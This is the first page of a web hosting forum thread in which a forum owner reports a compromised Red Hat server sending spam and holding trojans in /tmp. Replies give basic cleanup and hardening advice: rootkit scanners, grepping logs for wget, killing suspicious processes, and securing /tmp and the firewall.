Page 1 of 2 12 LastLast
Results 1 to 25 of 27
  1. #1

    Our server has been compromised - I am crying for help

    Dear webmasters !
    I hope you are in the best of your spiritual and physical health.

    I have a Red hat linux server from http://www.servermatrix.com. The load on our server is very high these days and our online forum (8500 + members) goes offline a number of times everyday. This is resulting in thousands of visitors turning away. We checked the server status and found that disk sda3/(var) is 100% full. Servermatrix.com opened a ticket to tell us that there are some malicious files and a trojan horse in /tmp. When we checked "Manage Mail queue", we found that there are more than 1 lac messages. These emails are sent to nobody@mohammadirfan (mohammadirfan is our server name).

    I dont have much technical knowledge and I cannot do much. My friend used to manage this server for us but he is on holidays. I cannot sleep these days. One question comes in my mind that is the hacker or spammer reading the emails sent from/to our server or he is just sitting in /tmp with his malicious files. I am crying for help. What should I do?

  2. #2
    Join Date
    Mar 2004
    Location
    Singapore
    Posts
    6,990
    Check if linuxguy is online, try to PM him, he may be able to help you.

  3. #3
    Join Date
    Aug 2002
    Location
    London, UK
    Posts
    9,039
    Get yourself an admin to look over the server for you...

    www.ezsm.net
    Matt Wallis
    United Communications Limited
    High Performance Shared & Reseller | Managed VPS Cloud | Managed Dedicated
    UK www.unitedhosting.co.uk | US www.unitedhosting.com | Since 1998.

  4. #4
    Have you checked the log files?

    You may want to check the running processes on your server as well, if you have diffuculty understanding what most of it means post the log here please

  5. #5
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    First off i would check if the box was root compromised. run rkhunter ot chkrootkit, if it was. Its time for a osreinstall. If its not, start looking though the domlogs for wget, etc and see if you can find some exploitable php scripts. thats a start.
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

  6. #6
    Join Date
    Nov 2002
    Location
    The Netherlands
    Posts
    222
    Is your server running the latest kernel/software and up-to-date?

    Have you checked what kind of malicious files are in the /tmp?

  7. #7
    Join Date
    Jan 2005
    Posts
    268
    Originally posted by thelinuxguy
    First off i would check if the box was root compromised. run rkhunter ot chkrootkit, if it was. Its time for a osreinstall. If its not, start looking though the domlogs for wget, etc and see if you can find some exploitable php scripts. thats a start.
    Hi linuxguy

    what is the command for looking though the domlogs for wget and etc... Thanks

  8. #8
    Join Date
    Jan 2002
    Posts
    1,053
    What security precautions did you take when setting up your server? Did you setup some of the most basic things such as a firewall? Change the permissions of wget and other alike functions?

  9. #9
    Join Date
    Mar 2005
    Posts
    86
    Basic View:

    more /path/to/log/logfile | grep wget

    man more and grep for more switches

  10. #10
    Join Date
    Sep 2002
    Location
    Top Secret
    Posts
    14,135
    Just because your server's got stuff in /tmp doesn't mean it's been rooted, but chances are you've got something goin on there. Start with the malicious stuff in /tmp, try to find out where it came from. Here's how, and usually this works.

    Let's say you have a suspicious file in /tmp called r00tedoor (or whatever).

    The first thing you want to do is verify your ps binary (/bin/ps usually). If ls -la /bin/ps returns something like today, or some odd date, then you'll need to get it replaced correctly.

    The second thing you want to do find out if it's RUNNING (ps -xua | grep r00tedoor).

    IF it's running, try to cd /proc/procnum , then do an ls -la . Sometimes you'll get more info out of that, like where it's residing, etc (though in this case you know it's /tmp).

    Then, you want to kill the process (note: kill it only after you have the obvious information from it).

    Once you've killed the process, remove the file, pretty simple there.

    Now, where did it come from?
    Most likely, this came from apache, or someone's vulnerable script. So, you need to go through and find out which one. To do this, go into your logs directory (/usr/local/apache for CPanel, /etc/httpd/logs for DirectAdmin) and just type the following:
    grep -R r00tedoor | more
    most likely you will come up with at least one instance of this. Then you can deal with the customer with the outdated/vulnerable script to ensure it doesn't come back in.
    Tom Whiting, WHMCS Guru extraordinaire
    Linux problems? WHMCS Problems? Give me a shout
    Check out my WHMCS Addons

  11. #11

    Re: Our server has been compromised - I am crying for help

    Originally posted by International Player
    Dear webmasters !
    I hope you are in the best of your spiritual and physical health.

    I have a Red hat linux server from http://www.servermatrix.com. The load on our server is very high these days and our online forum (8500 + members) goes offline a number of times everyday. This is resulting in thousands of visitors turning away. We checked the server status and found that disk sda3/(var) is 100% full. Servermatrix.com opened a ticket to tell us that there are some malicious files and a trojan horse in /tmp. When we checked "Manage Mail queue", we found that there are more than 1 lac messages. These emails are sent to nobody@mohammadirfan (mohammadirfan is our server name).

    I dont have much technical knowledge and I cannot do much. My friend used to manage this server for us but he is on holidays. I cannot sleep these days. One question comes in my mind that is the hacker or spammer reading the emails sent from/to our server or he is just sitting in /tmp with his malicious files. I am crying for help. What should I do?
    These are most likely Eggdrops, or udp flooders such as udp.pl etc. First off you need to secure your /tmp partition ASAP

    Normal files would be: cpanel.tmp, sess* *.session*, mysql.sock etc.

    Look for suspicious files running with ps aux or top and kill them asap.

    After killing them delete them and secure your TMP partition.

    Go to this link for a great tutorial on how to secure your /tmp partition.

    Secure TMP Partition by eth0
    TheDedicatedReview.com
    ben@thededicatedreview.com
    Dedicated Server Reviews and Specials.

  12. #12
    Join Date
    Apr 2003
    Location
    NC
    Posts
    3,093
    Just securing your /tmp will not help against perl files since they are not run directly from the tmp but though perl.

    I would suggest installing a firewall like apf and having both inbound and outbound monitored.
    I would also suggest mod_security to be installed to help prevent stuff getting on your server in the first place.
    There are guides for both on my website posted above.

    There is a lot more that you can do and should do to secure your server. I would move the files from your tmp but place them someplace else so that somebody else can later analyize the files, like your sys admin.


    ooops sorry about the bump, I did not check the month stamp
    Last edited by eth00; 04-27-2005 at 03:00 PM.
    John W, CISSP, C|EH
    MS Information Security and Assurance
    ITEagleEye.com - Server Administration and Security
    Yawig.com - Managed VPS and Dedicated Servers with VIP Service

  13. #13
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    Just securing your /tmp will not help against perl files since they are not run directly from the tmp but though perl.
    Even executing perl scripts can be stopped
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

  14. #14
    Join Date
    Nov 2002
    Posts
    161
    What kind of script are you using for you forum.
    We had the same problem a while back and it turned out that there were a few outdated version of PHPBB on our server which were exploited.
    Make sure there are no unsecured php or cgi script runing on your machine.

  15. #15
    Originally posted by thelinuxguy
    Even executing perl scripts can be stopped
    Yeah, how so?

    I suppose by making PERL only run through the web?
    .

  16. #16
    Join Date
    Oct 2003
    Location
    Long Island, New York
    Posts
    220
    I'd like to know the answer to this as well...
    TWSites.com - Business Web Hosting Solutions & Server Management Since 2003

  17. #17
    Originally posted by DoCk
    I'd like to know the answer to this as well...
    ditto here

  18. #18
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    Nothing to do with apache etc, it has to do with the operating system. Papi get me in irc and I'll let you know later tonight.
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

  19. #19
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    Originally posted by mp3LM
    Yeah, how so?

    I suppose by making PERL only run through the web?

    doing so can cause very large problems with the operating system
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

  20. #20
    Originally posted by thelinuxguy
    doing so can cause very large problems with the operating system
    Ok, see your point.

    So...what's the right way?

    Would it have to do with a kernel recompile? (If you don't tell me, I'll just keep posting guesses =P)
    .

  21. #21
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    Well, normally the kernel supports the functionality. I'll release the info and how to do it correctly once i have more testing.
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

  22. #22
    and Steve.. our wait continues.. eehehe

    guys, if you want the answer, you should pay, he has a business to run also.

  23. #23
    Join Date
    Apr 2005
    Location
    Sweden
    Posts
    241
    I guess one way to do it could be to replace /usr/bin/perl (or whatever) with a wrapper script that checks first if the script is on a mountpoint that is noexec. If not, run the perl process (that you renamed something else) normally. If it is on a noexec mp, then return some kind of error.

    Kinda ugly, but could work. Only needs to come up with a lightweight wrapper script that doesn't mess things up too bad. Anyone have one in store?

    Sorry 'bout the bump...

  24. #24
    Join Date
    Mar 2004
    Posts
    1,007
    Why dont hire someone to investigate/secure your server?
    Instead of waitinga nd waiting you could hire someone like www.totalserversolutions.com
    At least i have had a positive expirience with them when i needed help...
    Best Regards,
    Namesniper

  25. #25
    Join Date
    Mar 2003
    Location
    California USA
    Posts
    13,681
    Originally posted by The_Overl
    I guess one way to do it could be to replace /usr/bin/perl (or whatever) with a wrapper script that checks first if the script is on a mountpoint that is noexec. If not, run the perl process (that you renamed something else) normally. If it is on a noexec mp, then return some kind of error.

    Kinda ugly, but could work. Only needs to come up with a lightweight wrapper script that doesn't mess things up too bad. Anyone have one in store?

    Sorry 'bout the bump...
    Why do that? Thats stupid.
    Steven Ciaburri | Industry's Best Server Management - Rack911.com
    Software Auditing - 400+ Vulnerabilities Found - Quote @ https://www.RACK911Labs.com
    Fully Managed Dedicated Servers (Las Vegas, New York City, & Amsterdam) (AS62710)
    FreeBSD & Linux Server Management, Security Auditing, Server Optimization, PCI Compliance

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •